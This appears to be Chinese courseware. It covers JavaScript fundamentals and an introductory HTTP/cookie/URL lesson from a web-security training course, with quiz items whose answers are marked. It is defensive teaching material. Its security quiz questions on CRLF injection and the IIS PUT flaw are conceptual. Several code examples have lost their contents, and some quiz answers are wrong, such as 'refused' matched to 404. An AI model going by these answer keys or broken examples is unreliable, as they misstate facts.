关于JavaScript中的数组的说法中,错误的是()|!数组的长度必须在创建时给定,之后不能改变|由于数组是对象,因此创建数组需要使用new运算符|数组内元素的类型可以不同|数组可以在声明的同时进行初始化

函数

函数的作用是将一些常用的代码块进行封装,如果需要用到这些代码块的时候就可以直接调用这个函数,而不用重复再写这些代码。 JavaScript中的函数实际也是对象,和数组一样都是一种特殊的对象,只是函数内部存储的是一块代码,同样有属性和方法。
声明函数
声明函数有三种方法,分别为:
function命令创建 函数表达式创建 构造函数创建
function命令创建函数是通过function命令,然后后面跟着函数名以及圆括号()然后是大括号{},圆括号是定义参数,每个参数用逗号分隔,而大括号就是定义函数的执行代码,称为函数体。 下面的函数创建了一个名为language的函数,并要求传入一个编程语言的名称,并返回这个值。
function language(name) { return name; }; language('javascript') //javascript 调用函数并返回传入参数的值 /*函数表示式也是通过function命令创建的,然后将这个函数返回给一个变量,但是可以不用创建函数名*/ var language = function(name) { return name; }; language('javascript') //javascript /*函数表达式也可以创建带有函数名的函数,但是加上了函数名过后,该函数名只有在函数体内部有效,而在外部是无效的*/ var language = function a(name) { return name; }; a('javascript') //报错:ReferenceError: a is not defined

函数的返回值以及函数提升
每个函数都有返回值,函数内部用return主动返回一个返回值,而当我们没有定义这个return语句的时候,Javascript引擎会自动返回undefined,比如下面的代码,实际是相等的
function a() { console.log(1); } // 相等 function a() { console.log(1); return undefined; }
当Javascript引擎遇见了return语句就立即返回,就不再执行函数体后面的语句了
function a() { console.log(1); return undefined; console.log(2); } a() // 1
函数还会存在函数提升的概念,比如下面的代码,可以在定义函数之前调用函数
a() // 1 function a() { console.log(1); } // 相等于 function a() { console.log(1) } a() // 1
如果采用函数表达式赋值给变量,则函数无法提升,但是变量会提升
a() // 报错不是函数 var a = function() { console.log(1); } // 相等于 var a; a() a = function() { console.log() }

函数的作用域
作用域主要指的是变量存在的范围,即变量能在哪些地方访问,ES5中规定了两个作用域,一个是全局作用域一个是函数作用域,其他都不是作用域,也就是说除了在函数作用域定义的变量都是属于全局作用域,即在整个程序中都可以进行访问,而函数作用域中定义的变量,只能在函数中访问。
var a = 1; //定义一个全局作用域下的变量function b() { console.log(a) //访问全局变量 } b() // 1
一定要注意在函数内部定义变量要使用var语句,不然定义的则是全局变量,如果全局变量中有相名字的变量则会覆盖全局变量
var a = 1; function b() { a = 2; c = 3; } b() console.log(a); // 2 修改了全局变量console.log(c); // 3 创建了全局变量,能够在全局范围内访问

函数的参数
函数定义参数在圆括号内定义参数,每个参数用逗号分隔。Javascript中的函数并不是必须的,如果不传入参数也是合法的,因传入的参数是等于undefined的。函数的传递方式是按值传递的,原始值是直接复制一份的,所以在函数体内部操作原始值是不影响外部的。
var b = 1; function a(b) { b = 2; console.log(b); } a(b) // 2 b // 1

arguments对象
由于Javascript对于参数的机制,比如可以定义参数但不传入参数等情况,那么这样的情况需要一种机制来处理,那么就有了arguments对象,该对象是函数的一个局部变量,这个对象的length属性可以检测传入了多少个参数
function a(b, b, b) { console.log(arguments.length); } a(1, 2, 3) // 3
同时arguments对象可以接收未经定义的参数
function a() { console.log(arguments.length); } a(1, 2) // 2
arguments对象不数组,是一种类似的数组,除了具备
索引和length属性之外,没有任何数组的特性,下面的代码能够检测出不是数组,并且arguments对象是一个对象类型,但是可以通过数组的slice和from方法转换为数组
function a() { console.log(arguments instanceof Array); console.log(Object.prototype.toString(arguments)); } a() // false //


闭包
在Js中经常会听到闭包这个词,闭包也是Js的特色,了解闭包首先得知道全局作用域和函数作用域,在上面函数部分提到过,都知道作用域是指变量存在的范围,而Js中的函数作用域可以范围全局作用域的变量
var a = 1; function b() { console.log(a); } b() // 1
那如果在b函数内在定义一个c函数,那么此时的c函数可以访问b函数的作用域内的变量以及全局作用域的变量
var a = 2; function f() { var b = 4; console.log(a); // 2 function x() { console.log(a); // 2 访问全局变量 console.log(b); // 4 访问b函数的局部变量 } }
上面的代码函数内访问变量是属于链式查找,比如当前函数作用域没有这个变量,那么就继续查找包裹他的函数有不有这个变量,一直查找到全局作用域,而上面的代码中f函数不能够访问x函数,因为链式查找只能从下到上,从内到外,而不能反向。 而闭包就是利用了这样的特性,都知道一个函数内部的变量是无法在外部进行访问、赋值的,那么在内部再定义一个函数,然后将此函数作为返回值返回,不就可以操作这个函数内的变量了吗?
function f() { var a = 1; return function x() { console.log(a); } } var fx = f(); fx() // 1
上面的代码中x函数就是闭包,闭包就是将函数内部与函数外部连接起来的桥梁。
下列有关JS自定义函数的说法错误的是()|自定义函数的关键字是"function"|!自定义函数必须带有参数|自定义函数被调用时接受的参数可以是常量、变量或其他表达式|自定义函数返回结果的关键字是"return"

类型转换

Javascript是一个动态类型的语言,所有的变量不需要像其他语言一样声明变量是什么类型的,所以可以随意给变量赋值,但正是因为这样的情况,导致了很多值只能在程序运行的阶段才知道到底是什么值,那么检查类型和类型转换就是必须知道的一个内容。
检查数据类型
JavaScript种有三种方法可以检查数据是什么类型的,分别为:
typeof 运算符 instanceof 运算符 Object.prototype.toString 方法
typeof运算符可以检查所有的数据类型,并返回一个所属数据数据类型的字符串,但是因为上面提到函数、数组、对象是属于对象类型,所以实际上typeof运算符是将函数、数组、对象均看作是对象类型,返回的也是一样。
typeof 'javascript' // 'string' typeof 1 // 'number' typeof true // 'boolean' typeof undefined // 'undefined' typeof null //'object' 这是因为null表示的是一个空对象,所以返回的是object typeof {} // 'object' 对象返回的是object typeof
// 'object' 数组返回的是'object' function a(){} typeof a // 'object' 函数返回的同样是object
null的类型是object,这是由于历史原因造成的。1995年的 JavaScript 语言第一版,只设计了五种数据类型(对象、整数、浮点数、字符串和布尔值),没考虑null,只把它当作object的一种特殊值。后来null独立出来,作为一种单独的数据类型,为了兼容以前的代码,typeof null返回object就没法改变了。 instanceof运算符只能针对于对象类型的检测,如果试图传入一个原始值将会得到错误,instanceof运算符可以检查所有的对象类型,比如函数、数组、对象等,但是函数、数组、对象本身也属于数据类型,所以当用这三种对象类型去检查是否为Object类型的时候,也是返回的true。
var a = {}; //初始化一个变量并赋值空对象给这个变量 a instanceof Object // true function a(){} a instanceof Object // true var a =
; a instanceof Object // true
但是这里是着很大的问题,因为当如果只允许传入对象的时候,这时通过typeof和instanceof来检查是否传入是否为对象,那么如果一旦传入的是函数或者数组都会造成等于对象。 如果需要完美的解决所有的类型,可以采用Object.prototype.toString方法,因为它能完美的返回所有的类型,包括null 不同数据类型的Object.prototype.toString方法返回值如下:
数值:返回
。 字符串:返回
。 布尔值:返回
。 undefined:返回
。 null:返回
。 数组:返回
。 arguments 对象:返回
。 函数:返回
。 Error 对象:返回
。 Date 对象:返回
。 RegExp 对象:返回
。 其他对象:返回


转换
在数据类型一章节中,所有的原始值都对应了一个构造函数,可以通过这个构造函数来进行创建,那么相当于有两种方式可以进行创建原始值,但是转换又分为两种,分别为:
强制转换 自动转换

强制转换
强制转换一般指的是将其他类型值转换为基本类型的过程,一般强制转换的类型是字符串、布尔值、数值,对应有三个函数进行转换,分别为:
Number() String() Boolean()

Number函数
Number函数可以将任意值转换为数值类型的值,对于原始值的转换有以下几种规则:
数值:直接返回该值 字符串:如果被解析为数值,则转换为相应的值,比如'123'。如果字符串中出现了不能转换的值则返回NaN,比如'123d' 空字符串和空值:转换为0 布尔值:true转换为1,false转换为0 undefined:转换为Nan null:转换为0
Number函数对于对象的转换分为三步规则: 1. 调用对象自身的valueOf方法,如果返回原始值则直接使用Number函数转换该值并返回 2. 如果valueOf方法返回的还是对象,则改为调用对象自身的toString方法,如果toString方法返回原始值则直接使用Number函数转换该值并返回 3. 如果toString方法返回的还是对象,则报错
Boolean函数
Boolean函数对于原始值的转换除了以下的五个值为false,其他都转换为true String函数对于对象的转换分为三步规则: 1. undefined 2. null 3. -0和+0 4. NaN 5. 空字符串和空值 Boolean函数对于所有的对象都返回true
关于JavaScript中的数据类型转换,下列哪项是错误的?|0转换为逻辑型的结果为false|"0"转换为逻辑型的结果为true|"0"转换为数字型的结果为0|!0转换为字符串型的结果为null

JSON对象

JSON格式优处在于Javascript引擎能够直接处理这样的格式,并且有着原生的`JSON`对象,还有一个优处在于JSON数据格式现在正在被更多的人接受,如微软、谷歌都在大量使用这样的数据交换格式。
JSON对类型和值有着严格的要求:
1. 复合类型的值只有数组和对象,不能是函数、正则表达式、日期对象 2. 原始类型的值只有四种:字符串、数值(必须十进制)、布尔值和null 3. 字符串必须使用双引号,不能使用单引号 4. 对象的键名必须放在双引号里面 5. 数组和对象最后一个成员的后面不能添加逗号
{"a": 123}//合法 {a: 123}//不合法
//不合法
JSON对象是JavaScript的原生对象,需要注意的是JSON这四个字符是全大写,而Javascript是需要辨别大小写的,该对象提供了两个方法,分别为:
stringify:用于将Javascript中的值转换为JSON对象 parse:用于将JSON对象转换为Javascript的值

stringify
stringify方法用于将Javascript中的值转换为JSON对象,并且会将所有的单引号转换为双引号
JSON.stringify({a: 1}) //"{"a":1}" JSON.stringify({}) //"{}" JSON.stringify(
) //"
"

parse
parse方法用户将JSON字符串转换为Javascript的值,如果不是合法的JSON字符串,将会报错
JSON.parse('{}')//{} JSON.parse('
')//
JSON.parse('{"a": 1}')//{a: 1} JSON.parse('qqq')//Unexpected token q in JSON at position 0

以下关于JSON的说法错误的是|!JSON是JavaScript的子集|JSON中属性名称必须是双引号字符串|!JSON中属性钱可以加双引号进行注释|JSON最好一个属性后面不能有逗号

console对象

console是Javascript的原声对象,该对象类似于output输出功能,该对象常见的用处是有两个:
调试程序,显示网页中运行时的错误,以及进行调试输出 提供了一个命令行接口,用来与网页进行互动
浏览器对于console对象的实现是包含在开发者工具当中的,以Chrome浏览器来介绍,打开开发者工具可以用: 1. 按 F12 或者Control + Shift + i(PC)/ Alt + Command + i(Mac)。 2. 览器菜单选择“工具/开发者工具”。 3. 在一个页面元素上,打开右键菜单,选择其中的“Inspect Element”。 打开开发者工具以后,顶端有多个面板。

Elements:查看网页的 HTML 源码和 CSS代码。Resources:查看网页加载的各种资源文件(比如代码文件、字体文件 CSS 文件等),以及在硬盘上创建的各种内容(比如本地缓存、Cookie、Local Storage等)。Network:查看网页的 HTTP 通信情况。 Sources:查看网页加载的脚本源码。 Timeline:查看各种网页行为随时间变化的情况。Performance:查看网页的性能情况,比如 CPU 和内存消耗。 Console:用来运行 JavaScript 命令。

而Console面板就是浏览器针对于console对象的实现,Console面板基本上就是一个命令行,而通过输入一些命令就可以与Console面板互动,并且console对象的所有方法都是可以自定义的,也就是所有的方法都是可以根据自己的需要来自定义行为。
静态方法

console.log
log方法用于将值输出到控制台,该方法接受多个参数,会将多个参数拼接起来,并且每个拼接的参数后面会有一个空格,而最后一个参数后面会自动加上换行符\n
console.log('a', 'b', 'c', 'd', 'e') //a b c d e

console.info、debug
console.info是console.log方法的别名,用法完全一样。只不过console.info方法会在输出信息的前面,加上一个蓝色图标,对于Chrome的70.0.3538.110版本中是无法看出区别的,而Safari的12.0.1 (14606.2.104.1.1)是能够明显看出蓝色的图标 console.debug方法与console.log方法类似,会在控制台输出调试信息。但是,默认情况下,console.debug输出的信息不会显示,只有在打开显示级别在verbose的情况下,才会显示。 而在上面的两个浏览器对应版本的时候,其中Safari浏览器是能够打印出来的,并且显示的是一个蓝色的箭头图标,而Chrome是需要在打开显示级别为verbose情况下才能显示。
JS中的console对象
|当第一个参数为false,才会输出第二个参数,否则不会有任何结果=assert() |清除当前控制台的所有输出,将光标回到第一行=clear() |输出警告信息=warn() |追踪函数调用过程=trace() |输出信息=log() |用于将显示的信息分组,可以把信息进行折叠和展开=group()

强化实训


基于 Github Page 搭建个人主页|Github Page 是 Github 推出的基于 git 仓库搭建个人主页的一个免费功能。这次实训我们需要通过 gtihub page 来完成一个个人主页。要求:通过 hexo 实现自己的博客主页与详细页。 官方教程:https://guides.github.com/activities/hello-world/ Hexo 中文文档:https://hexo.io/zh-cn/docs/|https://github.io/ |

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

HTTP是什么




(在地址栏中输入URL后发生的事)

DNS域名解析服务
DNS服务提供域名查找IP地址,或逆向从IP地址反查找域名的解析服务
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(1).mp4
本次课程我们开始讲关于HTTP的知识,HTTP协议是互联网的基础协议,也是Web安全的必备知识,设计其的最初目的就是为了提供一种发布和接收HTML页面的方法。所有的Web服务都必须遵守这个标准。


(请求消息构成)



(响应消息构成)

HTTP组成


HTTP请求信息组成:
1. 请求方法和URI 2. 请求头 3. 请求正文
HTTP的响应信息组成:
1. 状态行 2. 消息报头 3. 响应正文


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(2).mp4
HTTP请求信息由3部分组成,分别是请求方法即URI协议,请求头,请求正文;HTTP的响应信息也由3部分组成,分别为状态行,消息报头,响应正文。
在Internet网络中http是一种|!超文本传输协议|域名|操作系统的名称|高级程序设计语言

HTTP请求

常见HTTP请求方法

GET、POST、HEAD、PUT、DELETE、OPTIONS、TRACE、CONNECT(有些请求头带来的安全问题,比如IISPUT)


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(3).mp4
关于HTTP的请求,常见的请求方法有GET、POST、HEAD、PUT、DELETE、OPTIONS、TRACE、CONNECT(有些请求头带来的安全问题,比如IISPUT),用的最多的就是 GET 和 POST。
GET请求

get方法传递参数
请求参数和对应的值附加在URL后面,利用问号代表URL的结尾与请求参数的开始 例如:index.php?id=100&op=bind
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(4).mp4
我们先说GET方法,这是最常见的一种请求方式。它要求服务器将URL定位的资源放在响应报文的数据部分,回送给客户端。点击网页上的链接或者在浏览器输入地址访问网页都是使用的GET方式。使用GET方法时,请求参数和对应的值附加在URL后面,利用一个问号代表URL的结尾与请求参数的开始,传递参数长度受限制。例如:这样通过GET方式传递的数据直接表示在地址中。
GET/PATH/?id=1 HTTP/1.1 Host:twosecurity.io Cache-Control:max-age=0 Connection:keep-alive User-Agent:Mozilla/5.0(WindowsNT10.0;WOW64) AppleWebKit/537.36(KHTML,likeGecko) Chrome/56.0.2924.87Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding:gzip,deflate,sdchAccept-Language:zh-CN,zh;q=0.8,en;q=0.6 Cookie: __utma=75983760.1090135616.1482157671.1482157671.1482157671.1; __utmz=75983760.1482157671.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(5).mp4
当不适合使用GET方式时,我们会考虑用POST方式,这种方法可以允许客户端给服务器提供的信息较多。POST方法将请求参数封装在HTTP请求数据中,以名称或者值的形式出现,可以传输大量数据,对传送的数据大小没有限制,而且也不会显示在URL中。 (GET方法请求-响应例子)

求|GET /index.html HTTP/1.1
Host:news.twosecurity.xyz
If-Modified-Since:Thu,Tue, 9 May 2017 10:40:12 GMT 响
应|仅返回2017年5月10日10.40分以后更新过的index.html页面资源。若未有内容更新,则以状态码304 Not Modified作为响应返回

POST请求

POST / HTTP/1.1 Host: www.example.com Connection: keep-alive Content-Length: 0 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://twosecurity.io/ Accept-Encoding: gzip, deflate, br name=%E6%88%91%E6%98%AF%E4%BA%8C%E5%90%91%E7%AE%94&age=18

POST请求中的Content-Length

注解: 注明内容长度


Content-Type: APPLICATION/X-WWW-FORM-URLENCODED

注解: 消息内容会经过URL编码


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(6).mp4
对于普通 的POST 请求,会在头信息里使用 Content-Length 注明内容长度。头信息每行一条,空行之后便是Body,即“内容”部分(entity)。它的Content-Type是application/x-www-form-urlencoded,这意味着消息内容会经过URL编码,就像在GET请 求时URL里的QueryString那样。 ietf出台了rfc1867,《RFC 1867 -Form-based File Upload in HTML》,用以支持文件上传。
POST / HTTP/1.1 Host: www.example.com Connection: keep-alive Content-Length: 0 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://twosecurity.io/ Accept-Encoding: gzip, deflate, br ------WebKitFormBoundaryGpG0HoBPBMrenbBU Content-Disposition: form-data; name="desc" ------WebKitFormBoundaryGpG0HoBPBMrenbBU Content-Disposition: form-data; name="pic"; filename="test.txt" Content-Type: text/plain ------WebKitFormBoundaryGpG0HoBPBMrenbBU Content-Disposition: form-data; name="pic"; filename="test.txt" Content-Type: text/plain
(POST方法请求-响应例子)
请求|POST /login.php HTTP/1.1
Host:news.twosecurity.xyz
Content-Length: 25(25字节的数据) 响应|返回login.php接收的数据的处理结果

Content-Type:mulpart/form-data

注解: 支持文件上传


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(7).mp4
最早的 HTTP POST 是不支持文件上传的,所以给编程开发带来很多麻烦。但在1995年,ietf出台了rfc1867 也就是《RFC 1867 -Form-based File Upload in HTML》,用以支持文件上传。所以Content-Type的类型扩充了multipart/form-data用以支持向服务器发送二进制数据。
HTTPS
(全称:Hyper Text Transfer Protocol over Secure Socket Layer)是以安全为目标的 HTTP 通道,简单讲是 HTTP 的安全版。 HEAD 方法与 GET 方法类似,但它只返回 HTTP 报头,不会返回文档主体,通常用于需要节省带宽的情况下检测资源的有效性。 PUT 方法表示新创建一个资源,多在REST API中被使用。 DELETE 方法表示删除指定资源,同样多在REST API中被使用。 OPTIONS 方法可以返回服务器支持的HTTP方法。 CONNECT 方法把请求连接转换到透明的TCP/IP通道,也就是 使用HTTPS的时候会使用它。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(8).mp4

下列关于HTTP的说法正确的是()|A.HTTP通讯是由多个用户代理初始化,并且包括一个申请在源服务器上的请求|!B.HTTP协议是基于请求/响应模式的(客户机/服务器)|C.HTTP协议是基于TCP/IP的协议|D.HTTP超文本传输协议是WWW浏览器和WWW服务器之间的传输层通讯协议

常见的HTTP请求头

缓存副本:即网页缓存
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(9).mp4
我们常见的请求头有很多: GET是请求方法;/PATH/?id=1则是请求路径;HTTP/1.1是协议版本号;Host 请求的主机名; cache-control这个值告诉客户端,服务端不希望客户端缓存资源,在下次请求资源时,必须要重新请求服务器,不能从缓存副本中获取资源。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(10).mp4
Connection告诉客户端服务器的tcp连接也是一个长连接,客户端可以继续使用这个tcp连接发送http请求。关于长连接的更多知识,后面我们再详细的讲解。User-Agent是对浏览器的识别,查看系统版本,浏览器内核等。Accept告诉服务器当前客户端可以接收的文档的类型。其实这里包含了*/*,就表示什么都可以接收。
关于HTTP协议,下面说法正确的有?|A.HTTP1.0中的cache-control响应头主要用于控制信息在浏览器的缓存|!B.HTTP协议的ETAG响应头主要用于信息的过期验证|!C.HTTP是基于TCP协议之上的应用层协议|D.HTTP是一个普遍用在浏览器和web服务器之间进行数据交换的流式二进制协议

常见的HTTP响应状态码




https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(11).mp4
我们先来看几个常见的响应状态码:200对应响应正常,表示服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(12).mp4
404是没有找到请求的资源,服务器找不到请求的网页。


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(13).mp4
301为URL跳转,表示永久移动, 请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或HEAD 请求的响应)时,会自动将请求者转到新位置。新位置通常会使用 Location 响应头进行指定。


http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(14).mp4

https://httpstatusdogs.com

HTTP/1.1 200 OK Content-Type: text/html Content-Length: 290 二向箔网络安全学习平台

敬请期待



http://tool.oschina.net/commons?type=5

HTTP 状态码详解|http://resource.host.smartgslb.com/resources/HTTP Status Code.pdf

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(15).mp4
200状态的响应包如下。其中每个字段也有不同的意义,HTTP/1.1代表协议版本,200则是它的状态码Content-Type意思为内容类型,用于定义网络文件的类型和网页的编码,更详细的参考 http://tool.oschina.net/commons,Content-Length可以告诉浏览器报文中实体主体的大小,换行以下对应的是响应的正文。
关于HTTP协议,下面哪个说法是正确的?|A.一个HTTP请求返回的HTTP状态码中,304表示临时重定向|B.以下一个HTTP链接中的 response 的响应头:GET /xxx/xxx/js/lib/test.js HTTP/1.1Host: 127.0.0.1Connection: keep-alivePragma: no-cacheCache-Control: no-cacheAccept: */*|C.HTTP协议是有状态协议|!D.RESTful 接口中,利用HTTP协议的method字段来描述要对资源的操作的方式,比如GET表示获取资源,POST表示新增一个资源,PUT表示更新资源,DELETE表示删除资源等等

Cookie


什么是Cookie

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(16).mp4
Cookie是网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密)。因为HTTP本身是无状态协议,即服务器不知道用户上一次的请求的内容和次数,这严重阻碍了交互式Web应用程序的实现。在典型的网上购物场景中,用户浏览了几个页面,买了一盒饼干和两瓶饮料。最后结帐时,由于HTTP的无状态性,不通过额外的手段,服务器并不知道用户到底买了什么。 所以Cookie就是用来绕开HTTP的无状态性的“额外手段”之一。服务器可以设置或读取Cookie中包含信息,借此维护用户跟服务器会话中的状态。 下图为用户在登录时选择”下次自动登录”的流程:


(登录时选择”下次自动登录”的流程)

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(17).mp4

Cookie如何分配

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(18).mp4
浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。 cookie的内容主要包括:名字,值,过期时间,路径和域。 其中域可以指定某一个域比如.google.com,也可以指定一个域下的具体某台机器比如froogle.google.com路径就是跟在域名后面的URL路径。 路径与域合在一起就构成了cookie的作用范围。
Cookie的工作原理

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(19).mp4
Cookie定义了一些HTTP请求头和HTTP响应头,通过这些HTTP头信息使服务器可以与客户进行状态交互。 客户端请求服务器后,如果服务器需要记录用户状态,服务器会在响应信息中包含一个Set-Cookie的响应头,客户端会根据这个响应头存储Cookie信息。再次请求服务器时,客户端会在请求信息中包含一个Cookie请求头,而服务器会根据这个请求头进行用户身份、状态等较验。 下面是一个实现Cookie机制的简单的HTTP请求过程:


(实现Cookie机制的简单的HTTP请求过程)

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(20).mp4

关于cookie描述不正确的有()|!A.cookie是通过http请求正文到服务器端的|B.cookie是保存在客户端的|!C.服务器端可以读取用户端的所有cookie|D.cookie是通过http请求报头传到服务器端的|E.用户端可以保存不同服务器的cookie

URL


什么是URL

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(22).mp4
客户向服务器程序发送请求,服务器程序向客户返回所需的万维网文档。在一个客户程序主窗口上显示的万维网文档称为页面。实现这一过程需要解决一个重要问题: 如何标志出分布在整个Internet上的万维网文档?这就需要使用统一资源定位符URL来标志,使每一个文档在整个Internet范围内具有唯一的标识符URL。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(23).mp4
URL用来表示从因特网上得到的资源位置和访问这些资源的方法。URL给资源的位置提供一种抽象的识别方法,并用这种方法给资源定位,从而实现对资源的操作。URL相当于一个文件名在网络范围的拓展。因此,URL是与Internet相连的机器上的任何可访问对象的一个指针。 URL的一般形式由以下格式组成:
<协议>://<主机>:<端口>/<路径>
协议指使用何种协议来获取万维网文档,最常用的是http,还有ftp等。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(24).mp4
协议指使用何种协议来获取万维网文档,最常用的是http,还有ftp等。
URL跳转

https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(21).mp4
URL跳转是一种当实际资源,如单个页面、表单或者整个 Web 应用被迁移到新的 URL 下的时候,保持(原有)链接可用的技术。 HTTP 协议提供了一种特殊形式的响应—— HTTP 重定向(HTTP redirects)来执行此类操作,该操作可以应用于多种多样的目标:网站维护期间的临时跳转,网站架构改变后为了保持外部链接继续可用的永久重定向,上传文件时的表示进度的页面,等等。
URL的原理



(URL实现示意图)


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(25).mp4

在 HTTP 协议中,重定向操作由服务器通过发送特殊的响应(即 redirects)而触发。HTTP 协议的重定向响应的状态码为 3xx 。浏览器在接收到重定向响应的时候,会采用该响应提供的新的URL ,并立即进行加载;大多数情况下,除了会有一小部分性能损失之外,重定向操作对于用户来说是不可见的。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(26).mp4
不同类型的重定向映射可以划分为三个类别:永久重定向、临时重定向和特殊重定向。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(27).mp4
永久重定向:这种重定向操作是永久性的。它表示原 URL 不应再被使用,而应该优先选用新的URL。搜索引擎机器人会在遇到该状态码时触发更新操作,在其索引库中修改与该资源相关的URL 。
https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(28).mp4
临时重定向:有时候请求的资源无法从其标准地址访问,但是却可以从另外的地方访问。在这种情况下可以使用临时重定向。搜索引擎不会记录该新的、临时的链接。在创建、更新或者删除资源的时候,临时重定向也可以用于显示临时性的进度页面。

注解: 304 (Not Modified,资源未被修改) 300 (Multiple Choice,多项选择)


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(29).mp4
特殊重定向:除了上述两种常见的重定向之外,还有两种特殊的重定向。304 (Not Modified,资源未被修改)会使页面跳转到本地缓存的版本当中,而 300 (Multiple Choice,多项选择) 则是一种手工重定向:以 Web 页面形式呈现在浏览器中的消息主体包含了一个可能的重定向链接的列表,用户可以从中进行选择。
以下关于URL的说法中,错误的是()|A.www.abc.com中的“abc.com”是域名|!B.使用www.abc.com和abc.com打开的是同一个页面|C.在地址栏中输入www.abc.com默认使用http协议|D.www.abc.com中的“www”是主机名

使用Chrome查看浏览器 HTTP 的请求




https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(30).mp4
接下来我们讲解一下使用Chrome查看浏览器HTTP的请求:我们先打开Chrome浏览器。

注解: 苹果系统按Alt+Command+J













注解: 参考上文的get方式传参




(常见HTTP响应码及其分类)

当A地址301重定向到B地址,那么访问B地址,HTTP状态码是|301|!200|503|404

结束


https://assets.course.twosecurity.io/a20c5f7f6828a6d514d38258c5331ab2/audio/Recording%20(39).mp4
特殊重定向:除了上述两种常见的重定向之外,还有两种特殊的重定向。304 (Not Modified,资源未被修改)会使页面跳转到本地缓存的版本当中(该缓存已过期(?)),而 300 (Multiple Choice,多项选择) 则是一种手工重定向:以 Web 页面形式呈现在浏览器中的消息主体包含了一个可能的重定向链接的列表,用户可以从中进行选择。
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers

拓展练习


下列属于常用的HTTP请求有哪些?|!A.GET方法、POST方法|B.COOKIE方法|!C.DELETE方法|D.METHOD方法|E.LOGIN方法

将下列HTTP响应状态码一一对应
|请求已成功,请求所希望的响应头或数据体将随此响应返回=200 OK |如果客户端发送一个带条件的GET请求且该请求已被允许,而文档的内容并没有改变,则返回该状态码=304 Not Modified |服务器已经理解请求,但是拒绝执行它=404 Not Found |服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器端的源代码出现错误时出现=500 Internal Server Error

crlf 漏洞产生原因是因为什么?|A.SQL语句处理不当产生的|B.浏览器根据CRLF来取出HTTP内容并显示|!C.服务器端没有过滤\r\n,而又把用户输入的数据放在HTTP头中,从而导致安全隐患|D.HTTP的Body中产生的问题

IIS-put漏洞利用的是什么请求?|A.GET请求|B.POST请求|!C.PUT请求|D.MOVE请求

思考:http://testhtml5.vulnweb.com/ 判断这个网站支持的http方法?

学习使用 fiddler(macOS 下使用 charles)进行发包测试。


法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

介绍

注解: apache:是一种web服务器软件mysql:一种数据库管理系统


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%201.mp4
PHP是一种被广泛应用的开放源代码的多用途脚本语言,是开发 Web 应用程序的理想工具。并且具有跨平台、语法简单高效等优点。在融合现代编程语言的一些最佳特性后,PHP、Apache和MySQL的组合已经成为Web服务器的标准配置之一。
